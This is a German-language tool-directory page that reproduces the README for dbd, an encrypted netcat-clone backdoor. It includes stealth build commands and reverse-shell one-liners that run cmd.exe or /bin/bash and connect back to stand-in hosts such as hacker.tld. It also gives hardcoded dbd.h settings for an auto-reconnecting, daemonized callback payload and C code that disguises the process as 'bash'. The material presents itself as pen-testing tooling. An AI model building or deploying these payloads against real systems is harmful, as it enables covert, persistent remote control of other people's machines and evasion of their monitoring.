Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
dbd — Durandal's Backdoor | Kitploit
Tools/GitHubGitHub/gitdurandal/dbd
Verschlüsselungs-/EntschlüsselungstoolsExploitationPost-ExploitationNetzwerksicherheitPenetrationstestsCommand and ControlRed TeamingRemote-Access-ToolPayload-Entwicklung
GitHubgitdurandal/dbd

dbd

Durandal's Backdoor

15238vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigenWebseite

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd wird unter der GNU GPL vertrieben #Mipsbe-Binärdatei hinzugefügt von Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###ÜBERSICHT

dbd ist ein Netcat-Klon, der dafür entwickelt wurde, portabel zu sein und eine starke Verschlüsselung zu bieten. Er läuft auf Unix-ähnlichen Betriebssystemen und auf Microsoft Win32. dbd bietet AES-CBC-128 + HMAC-SHA1-Verschlüsselung (von Christophe Devine), Programmausführung (-e-Option), Auswahl des Quellports, kontinuierliche Wiederverbindung mit Verzögerung und einige andere nette Funktionen. dbd unterstützt ausschließlich TCP/IP-Kommunikation. Quellcode und Binärdateien werden unter der GNU General Public License vertrieben.

###KOMPILIERUNG

root@kitploit:~
$ make
usage:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - native win32 console app (w/ Cygwin + MinGW)
  make win32bg  - create a native win32 no-console app (w/ Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
  make mingw    - native win32 console app (w/ MinGW MSYS)
  make mingwbg  - native win32 no-console app (w/ MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
  make cygwin   - Cygwin console app
  make darwin   - Darwin

cross-compile options:
  make mingw-cross    - win32 cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross  - win32 no-console cross compile (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
  make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch

roll up a tarball (move your compiled stuff to binaries/ first:
  make dist     - create tarball with source files, readme, and binaries/

Um dbd unter einem Unix-ähnlichen Betriebssystem zu kompilieren, benötigen Sie gcc und die entsprechenden Entwicklungswerkzeuge. Für Linux, FreeBSD, NetBSD, OpenBSD (und möglicherweise andere) geben Sie Folgendes ein:

root@kitploit:~
$ make unix

Für SunOS/Solaris geben Sie Folgendes ein:

root@kitploit:~
$ make sunos

Um dbd unter Microsoft Windows (NT/2K/XP/2K3) zu kompilieren, benötigen Sie MinGW+MSYS oder Cygwin mit vollständiger Entwicklungsunterstützung (Cygwins MinGW-gcc). Um eine native Win32-Konsolenanwendung von dbd unter Cygwin zu kompilieren, geben Sie Folgendes ein:

root@kitploit:~
$ make win32

oder unter MSYS:

root@kitploit:~
$ make mingw

Um eine Anwendung ohne Konsole ("WinMain") unter Cygwin zu kompilieren, geben Sie Folgendes ein:

root@kitploit:~
$ make win32bg

oder unter MSYS:

root@kitploit:~
$ make mingwbg

Um eine Cygwin-spezifische Konsolenanwendung zu kompilieren, geben Sie Folgendes ein:

root@kitploit:~
$make cygwin

Vielleicht möchten Sie das Standardverhalten von dbd ändern. Eines der wichtigsten Dinge ist dabei, das standardmäßige gemeinsame Geheimnis (Shared Secret) durch Ihre eigene Passphrase zu ersetzen. Bearbeiten Sie dbd.h und ersetzen Sie die Einträge durch Ihre Präferenzen. Sie könnten beispielsweise einen Host + Port fest einprogrammieren, zu dem dbd eine Verbindung aufbaut, wenn es ohne Optionen gestartet wird. Vollständige Beispiele finden Sie in dbd.h.

###BEISPIELANWENDUNGEN

Mit ein wenig Fantasie kann dbd für viele Dinge verwendet werden:

Verwenden Sie dbd, um Dateien sicher zwischen zwei Netzwerken zu übertragen:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

oder von win32 aus:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

Verwenden Sie dbd als einfachen (aber sicheren) Chat:

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

Verwenden Sie dbd als Pen-Test-Backdoor:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

oder unter Unix-ähnlichen Betriebssystemen:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###FEST EINPROGRAMMIERTE OPTIONEN

Zusätzlich zur Verwendung von Befehlszeilenoptionen können Sie Variablen mithilfe von #defines in dbd.h fest einprogrammieren. Setzen Sie dazu die Variablen, die Sie verwenden möchten, als benannte Konstanten und kompilieren Sie wie gewohnt. Wenn Sie beispielsweise eine ausführbare dbd-Datei fest einprogrammieren möchten, die sich mit "evil.nationalbankofuganda.com" auf Port 995 verbindet und "/bin/bash" ausführt, könnten Sie Folgendes ausführen:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

Oder Sie könnten dbd.h mithilfe fest einprogrammierter #defines bearbeiten:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
Sie können auch Respawn- und Stealth-Optionen festlegen, um Ihre Verbindung aufrechtzuerhalten:
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

Dadurch wird die Verbindung so konfiguriert, dass sie sich als Daemon ausführt (im Malware-Jargon: "melt"), niemals eine Ausgabe an STDOUT sendet und versucht, die Verbindung alle 15 Minuten neu aufzubauen, falls sie jemals vom Listener getrennt wird.

###ROMULAN-CLOAKING-TECHNOLOGIE

Jetzt kommen wir zum interessanten Teil. Sobald Sie ein Meister darin sind, Optionen in Ihre Backdoor fest einzuprogrammieren, können Sie die wahrscheinlich unterhaltsamste benannte Konstante verwenden, die uns zur Verfügung steht: CLOAK. Setzen Sie dazu einfach den Wert:

root@kitploit:~
#define CLOAK 1

HINWEIS: Dies funktioniert derzeit nur bei *nix-Kompilierungen. Irgendwann plane ich, Win32-Prozessmigration/Hooking hinzuzufügen, damit auch diese Ziele etwas romulanische Liebe erfahren können.

Für *nix-Umgebungen bereinigt diese Option argv[0] und ersetzt es durch die Zeichenkette "bash\0". Sie bereinigt auch alle anderen argv[]-Einträge (es sähe doch albern aus, wenn ps "bash -e /bin/bash someremotehost.com 443" zurückgeben würde, oder?) Ich hoffe, es versteht sich von selbst, dass Sie diese Option NICHT VERWENDEN KÖNNEN, ES SEI DENN, SIE PROGRAMMIEREN IHRE VARIABLEN FEST IN DBD.H EIN. Wenn Sie das außerdem auf Ihrem eigenen System testen, wird es lustig sein, die richtige PID zum Killen auszuwählen. ;)

Sie können diesen Scrubber gern in allem verwenden, woran Sie gerade arbeiten:

root@kitploit:~
//grab our named constant
int cloak = CLOAK;

//Engage cloaking device
if(cloak)
{
	#ifdef WIN32
	//stub              
	#else
	//change argv[0] to say bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###WARNUNG

Übergeben Sie keine zwischengespeicherten Eingaben (eine Datei mit Befehlen oder Ähnliches) an eine lauschende "dbd -e"-Sitzung. "dbd -e" verwendet Pipes, um Daten zwischen dem ausgeführten Programm und dbd zu übertragen. Pipes werden verwendet (anstelle einfacher direkt durchgereichter duplizierter Dateideskriptoren), da zwischen den Pipes und dem Socket eine Verschlüsselung stattfindet. Um zu verhindern, dass das schreibende Ende einer der Pipes den gesamten Prozess blockiert, habe ich es in einen nicht blockierenden Deskriptor umgewandelt. Es besteht die Möglichkeit, dass bei der Übergabe zu vieler Eingaben auf einmal an das -e-Programm diese abgeschnitten (gekürzt) werden, da der Pipe-Puffer (im Betriebssystem) nicht alle Daten aufnehmen kann. Dieses Problem könnte beispielsweise gelöst werden, indem dbd multithreadfähig gemacht wird, aber ich werde dies aus Kompatibilitätsgründen so lange wie möglich vermeiden.

##CROSS-KOMPILIERUNG

Da dbd für die Interoperabilität mit anderen Tools/Frameworks entwickelt wurde, ermöglicht make nun das Cross-Kompilieren für win32 auf Linux-Systemen, die über die mingw32-gcc-Toolchain verfügen. Diese Optionen sind nahezu identisch mit ihren Windows-nativen Gegenstücken, mit dem Zusatz "-cross" nach dem gewählten Build. Beispiel:

root@kitploit:~
$ make mingw-cross

führt auf einem Linux-System dasselbe aus wie

root@kitploit:~
$ make mingw

es auf einem win32-System mit installiertem mingw/msys tun würde.

Derzeit sind alle Cross-Compile-Optionen mit Blick auf Kali Linux erstellt, sollten aber mit ein wenig Liebe auf jedem *nix funktionieren. Wenn mingw32-gcc installiert ist und make den Build nicht durchführt, bearbeiten Sie die Variable WCC am Anfang der Makefile und tragen Sie den Pfad zu Ihrer mingw32-gcc-Binärdatei ein.

Ab dbd-1.5 können Sie jede Crossbuild-Toolchain zum Kompilieren von dbd verwenden, indem Sie das Toolchain-Präfix als CROSS_COMPILE festlegen. Zum Beispiel ist das Erstellen einer ARM-Version so einfach wie:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##FORTGESCHRITTENE HEXENKUNST

Wenn Sie dbd in ein Exploitation-Framework integrieren möchten, können Sie ein Modul schreiben, das eine benutzerdefinierte dbd.h mit auf Ihr Ziel zugeschnittenen Konfigurationsoptionen generiert. Alles, was in dieser Datei nicht explizit #definiert ist, verwendet weiterhin die Standardwerte, sodass Sie nicht alles im Header schreiben müssen. Beispiel: Entfernen Sie die Datei dbd.h (rm dbd.h) und ersetzen Sie sie durch:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

Rufen Sie dann make auf, um ein sich automatisch verbindendes Payload mit Cloaking und Respawn zu erstellen, das sich zurück zu einem lauschenden dbd-Agenten auf evil.nationalbankofuganda.com verbindet, der mit den folgenden Optionen läuft:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

Ein weiterer fortgeschrittener Trick besteht darin, dbd mit dietlibc oder uClibc zu kompilieren. Um einen dietlibc-Linux-dbd-Agenten zu kompilieren, verwenden Sie:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

Achten Sie auf das Leerzeichen nach dem s in der Zeichenkette. Dadurch kann die Makefile gcc mit den standardmäßigen CFLAGS und LDFLAGS hinzufügen, sodass Ihr Agent korrekt erstellt wird. Der Vorteil der Verwendung von dietlibc besteht darin, dass eine sehr kleine, zu 100 % statische ausführbare Datei für die Zielumgebung erzeugt wird (etwa 70 KB für einen Linux-dbd-Agenten vor dem Packen, im Gegensatz zu den üblichen 700 KB+ mit glibc und gcc -static). Die Verwendung von uClibc ist sogar noch einfacher, da Sie lediglich das Crossbuild-Präfix für Ihre Toolchain unter CROSS_COMPILE festlegen müssen.

##LIZENZ
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]

Dieses Programm ist freie Software; Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, weitergeben und/oder modifizieren, entweder in Version 2 der Lizenz oder (nach Ihrer Wahl) in jeder späteren Version.

Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, aber OHNE JEGLICHE GARANTIE; auch ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Weitere Einzelheiten finden Sie in der GNU General Public License.

Sie sollten zusammen mit diesem Programm eine Kopie der GNU General Public License erhalten haben; wenn nicht, schreiben Sie an die Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Weitere Informationen finden Sie in der Datei COPYING.

Die AES-CBC-128 + HMAC-SHA1-Implementierung von dbd ist Copyright (C) Christophe Devine [email protected] und wird unter der GNU General Public License (GPL) vertrieben.

Ein Teil des Codes (für doexec_win32.h) wurde aus doexec.c des Win32-Ports von Netcat (C) Weld Pond und hobbit abgeleitet. Teile von doexec.c sind Copyright (C) 1994 Nathaniel W. Mishkin (der Code von doexec.c wurde ursprünglich von rlogind.exe abgeleitet).

Die Originalversion von Netcat wurde von hobbit [email protected] geschrieben. Die NT-Version wurde von Weld Pond [email protected] erstellt.


(C) Kyle Barnthouse [email protected] Sicherheitsberater
gitbrew.org
Hephaestus Security

Tool herunterladen